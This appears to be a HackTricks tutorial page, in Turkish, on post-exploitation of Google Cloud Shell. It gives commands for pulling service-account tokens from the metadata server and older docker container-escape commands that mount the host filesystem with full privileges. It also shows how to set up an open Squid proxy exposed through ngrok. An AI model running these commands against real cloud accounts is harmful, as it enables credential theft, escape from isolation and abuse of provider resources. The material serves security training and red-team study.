GCP - Cloud Shell Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cloud Shell

Cloud Shell hakkında daha fazla bilgi için bakınız:

GCP - Cloud Shell Enum

Metadata’dan kullanıcı tokeni elde etme

Sadece metadata sunucusuna erişerek, şu anda oturum açmış kullanıcı olarak erişmek için bir token elde edebilirsiniz:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Önceden cloud shell, host’un docker socket’ine erişimi olan bir container içinde çalışıyordu. Şimdi Google mimariyi değiştirdi ve cloud shell container’ı “Docker in a container” şeklinde çalışıyor. Bu yüzden cloud shell’den docker kullanmak mümkün olsa bile, docker socket’i kullanarak host’a escape edemezsiniz. Not: Önceden docker.sock dosyası /google/host/var/run/docker.sock konumundaydı fakat şimdi /run/docker.sock konumuna taşındı.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Ayrıca, geçmişte cloud shell VM tarafından kullanılan bir service account için token metadata server’da bulunabiliyordu:

Metadata'daki eski service account ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Aşağıdaki kapsamlarla: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Proxy olarak kullanın

Eğer google cloud shell örneğinizi proxy olarak kullanmak istiyorsanız, aşağıdaki komutları çalıştırmanız (veya .bashrc dosyasına eklemeniz) gerekir:

<details>

<summary>Squid proxy Kurulumu</summary>
```bash
sudo apt install -y squid

Bilginiz olsun, Squid bir http proxy sunucusudur. Aşağıdaki ayarlarla bir squid.conf dosyası oluşturun:

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

squid.conf dosyasını /etc/squid dizinine kopyala

Yapılandırmayı /etc/squid dizinine kopyala ```bash sudo cp squid.conf /etc/squid ```

Son olarak squid servisini çalıştırın:

Start Squid service ```bash sudo service squid start ```

Proxy’nin dışarıdan erişilebilir olmasını sağlamak için ngrok kullanın:

Proxy'yi ngrok ile erişime açın ```bash ./ngrok tcp 3128 ```

Çalıştırdıktan sonra tcp:// URL’sini kopyalayın. Proxy’yi bir tarayıcıdan çalıştırmak isterseniz, tcp:// bölümünü ve portu kaldırıp portu tarayıcı proxy ayarlarınızın port alanına girmeniz önerilir (squid bir http proxy sunucusudur).

Başlangıçta daha rahat kullanım için .bashrc dosyasının aşağıdaki satırları içermesi gerekir:

Otomatik başlatma için .bashrc'ye ekle ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Talimatlar https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key adresinden kopyalandı. Cloud Shell’de herhangi bir yazılımı (veritabanları ve hatta Windows) çalıştırmak için diğer çılgın fikirler için o sayfayı inceleyin.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin